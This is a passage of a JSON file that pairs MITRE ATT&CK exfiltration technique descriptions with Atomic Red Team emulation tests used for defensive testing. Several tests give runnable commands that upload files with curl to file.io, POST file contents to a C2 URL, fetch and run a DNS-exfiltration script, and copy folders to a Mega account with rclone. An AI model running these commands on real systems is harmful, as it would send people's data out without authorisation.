- "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
- "modified": "2022-04-18T22:16:51.359Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Traffic Duplication",
- "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1567.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
- "type": "attack-pattern",
- "created": "2020-03-09T14:51:11.772Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1567.001",
- "url": "https://attack.mitre.org/techniques/T1567/001"
- }
- ],
- "modified": "2020-03-28T00:58:55.433Z",
- "name": "Exfiltration to Code Repository",
- "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "File: File Access"
- ]
- },
- "atomic_tests": []
- },
- "T1048.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
- "type": "attack-pattern",
- "created": "2020-03-15T15:34:30.767Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1048.002",
- "url": "https://attack.mitre.org/techniques/T1048/002"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-10-15T22:44:11.953Z",
- "name": "Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol",
- "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "File: File Access",
- "Network Traffic: Network Traffic Content"
- ],
- "identifier": "T1048.002"
- },
- "atomic_tests": [
- {
- "name": "Exfiltrate data HTTPS using curl windows",
- "auto_generated_guid": "1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0",
- "description": "Exfiltrate data HTTPS using curl to file share site file.io\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Test file to upload",
- "type": "path",
- "default": "PathToAtomicsFolder/T1048.002/src/artifact"
- },
- "curl_path": {
- "description": "path to curl.exe",
- "type": "path",
- "default": "C:\\Windows\\System32\\Curl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Curl must be installed on system.\n",
- "prereq_command": "if (Test-Path #{curl_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n"
- },
- {
- "description": "#{input_file} must be exist on system.\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "#{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/\n"
- }
- }
- ]
- },
- "T1041": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:41.804Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1041",
- "url": "https://attack.mitre.org/techniques/T1041"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-10-15T22:45:50.620Z",
- "name": "Exfiltration Over C2 Channel",
- "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "File: File Access",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "identifier": "T1041"
- },
- "atomic_tests": [
- {
- "name": "C2 Data Exfiltration",
- "auto_generated_guid": "d1253f6e-c29b-49dc-b466-2147a6191932",
- "description": "Exfiltrates a file present on the victim machine to the C2 server.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "destination_url": {
- "description": "Destination URL to post encoded data.",
- "type": "string",
- "default": "example.com"
- },
- "filepath": {
- "description": "The file which is being exfiltrated to the C2 Server.",
- "type": "path",
- "default": "$env:TEMP\\LineNumbers.txt"
- }
- },
- "executor": {
- "command": "if(-not (Test-Path #{filepath})){ \n 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1048": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain",
- "Alfredo Abarca"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:44.720Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1048",
- "url": "https://attack.mitre.org/techniques/T1048"
- },
- {
- "source_name": "Palo Alto OilRig Oct 2016",
- "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
- "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-10-15T22:49:28.766Z",
- "name": "Exfiltration Over Alternative Protocol",
- "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl
may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Content"
- ],
- "identifier": "T1048"
- },
- "atomic_tests": [
- {
- "name": "DNSExfiltration (doh)",
- "auto_generated_guid": "c943d285-ada3-45ca-b3aa-7cd6500c6a48",
- "description": "DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "Password used to encrypt the data to be exfiltrated",
- "type": "string",
- "default": "atomic"
- },
- "domain": {
- "description": "The domain name to use for DNS requests",
- "type": "string",
- "default": "target.example.com"
- },
- "ps_module": {
- "description": "DNSExfiltrator powershell ps_module",
- "type": "path",
- "default": "$env:Temp\\dnsexfil.ps1"
- },
- "doh": {
- "description": "Google or CloudFlare DoH (DNS over HTTP) server",
- "type": "string",
- "default": "google"
- },
- "time": {
- "description": "The time in milliseconds to wait between each DNS request",
- "type": "string",
- "default": "500"
- },
- "encoding": {
- "description": "Set to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers.",
- "type": "string",
- "default": null
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})\n",
- "prereq_command": "if (Test-Path #{ps_module}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "IWR \"https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1\" -OutFile #{ps_module}\n"
- }
- ],
- "executor": {
- "command": "Import-Module #{ps_module}\nInvoke-DNSExfiltrator -i #{ps_module} -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1052.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
- "type": "attack-pattern",
- "created": "2020-03-11T13:50:11.467Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1052.001",
- "url": "https://attack.mitre.org/techniques/T1052/001"
- }
- ],
- "modified": "2021-10-15T22:48:29.490Z",
- "name": "Exfiltration over USB",
- "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Command: Command Execution",
- "Drive: Drive Creation",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "Presence of physical medium or device"
- ]
- },
- "atomic_tests": []
- },
- "T1002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:19.338Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1002",
- "url": "https://attack.mitre.org/techniques/T1002"
- },
- {
- "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
- "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
- "source_name": "Wikipedia File Header Signatures"
- }
- ],
- "modified": "2020-03-30T03:09:45.384Z",
- "name": "Data Compressed",
- "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1567.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
- "type": "attack-pattern",
- "created": "2020-03-09T15:04:32.767Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1567.002",
- "url": "https://attack.mitre.org/techniques/T1567/002"
- }
- ],
- "modified": "2020-03-28T01:02:24.172Z",
- "name": "Exfiltration Over Web Service: Exfiltration to Cloud Storage",
- "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "File: File Access",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Content"
- ],
- "identifier": "T1567.002"
- },
- "atomic_tests": [
- {
- "name": "Exfiltrate data with rclone to cloud Storage - Mega (Windows)",
- "auto_generated_guid": "8529ee44-279a-4a19-80bf-b846a40dda58",
- "description": "This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)\nSee https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "rclone_path": {
- "description": "Directory of rclone.exe",
- "type": "path",
- "default": "$env:temp\\T1567.002\\rclone-v*\\"
- },
- "rclone_config_path": {
- "description": "Path to rclone's config file (default should be fine)",
- "type": "path",
- "default": "$env:appdata"
- },
- "dir_to_copy": {
- "description": "Directory to copy",
- "type": "string",
- "default": "$env:temp\\T1567.002"
- },
- "mega_user_account": {
- "description": "Mega user account",
- "type": "string",
- "default": "atomictesting@outlook.com"
- },
- "mega_user_password": {
- "description": "Mega user password",
- "type": "string",
- "default": "vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA"
- },
- "remote_share": {
- "description": "Remote Mega share",
- "type": "string",
- "default": "T1567002"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "rclone must exist at (#{rclone_path})\n",
- "prereq_command": "if (Test-Path #{rclone_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://downloads.rclone.org/rclone-current-windows-amd64.zip\" -OutFile $env:temp\\rclone.zip\nExpand-archive -path $env:temp\\rclone.zip -destinationpath $env:temp\\T1567.002\\ -force\n"
- }
- ],
- "executor": {
- "command": "New-Item #{rclone_config_path}\\rclone -ItemType directory\nNew-Item #{rclone_config_path}\\rclone\\rclone.conf\ncd #{rclone_path}\n.\\rclone.exe config create #{remote_share} mega\nset-Content #{rclone_config_path}\\rclone\\rclone.conf \"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\"\n.\\rclone.exe copy --max-size 1700k #{dir_to_copy} #{remote_share}:test -v\n",
- "cleanup_command": "cd #{rclone_path}\n.\\rclone.exe purge #{remote_share}:test\n.\\rclone.exe config delete #{remote_share}:\nRemove-Item #{rclone_config_path}\\rclone -recurse -force -erroraction silentlycontinue\ncd c:\\\nRemove-Item $env:temp\\rclone.zip\nRemove-Item $env:temp\\T1567.002 -recurse -force\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1030": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:34.523Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1030",
- "external_id": "T1030"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-07-14T19:47:46.912Z",
- "name": "Data Transfer Size Limits",
- "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ],
- "identifier": "T1030"
- },
- "atomic_tests": []
- },
- "T1537": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Darin Smith, Cisco"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
- "created": "2019-08-30T13:03:04.038Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1537",
- "url": "https://attack.mitre.org/techniques/T1537"
- },
- {
- "source_name": "AWS EBS Snapshot Sharing",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html",
- "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022."
- },
- {
- "source_name": "Azure Shared Access Signature",
- "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature",
- "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022."
- },
- {
- "source_name": "Azure Blob Snapshots",
- "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview",
- "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022."
- },
- {
- "source_name": "DOJ GRU Indictment Jul 2018",
- "url": "https://www.justice.gov/file/1080281/download",
- "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",
- "modified": "2022-04-19T16:11:19.296Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Transfer Data to Cloud Account",
- "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "exfiltration"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Snapshot: Snapshot Metadata",
- "Snapshot: Snapshot Creation",
- "Cloud Storage: Cloud Storage Metadata",
- "Cloud Storage: Cloud Storage Creation",
- "Cloud Storage: Cloud Storage Modification",
- "Snapshot: Snapshot Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1022": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:30.260Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1022",
- "url": "https://attack.mitre.org/techniques/T1022"
- },
- {
- "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
- "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
- "source_name": "Zhang 2013"
- },
- {
- "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
- "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
- "source_name": "Wikipedia File Header Signatures"
- }
- ],
- "modified": "2020-03-30T03:10:12.750Z",
- "name": "Data Encrypted",
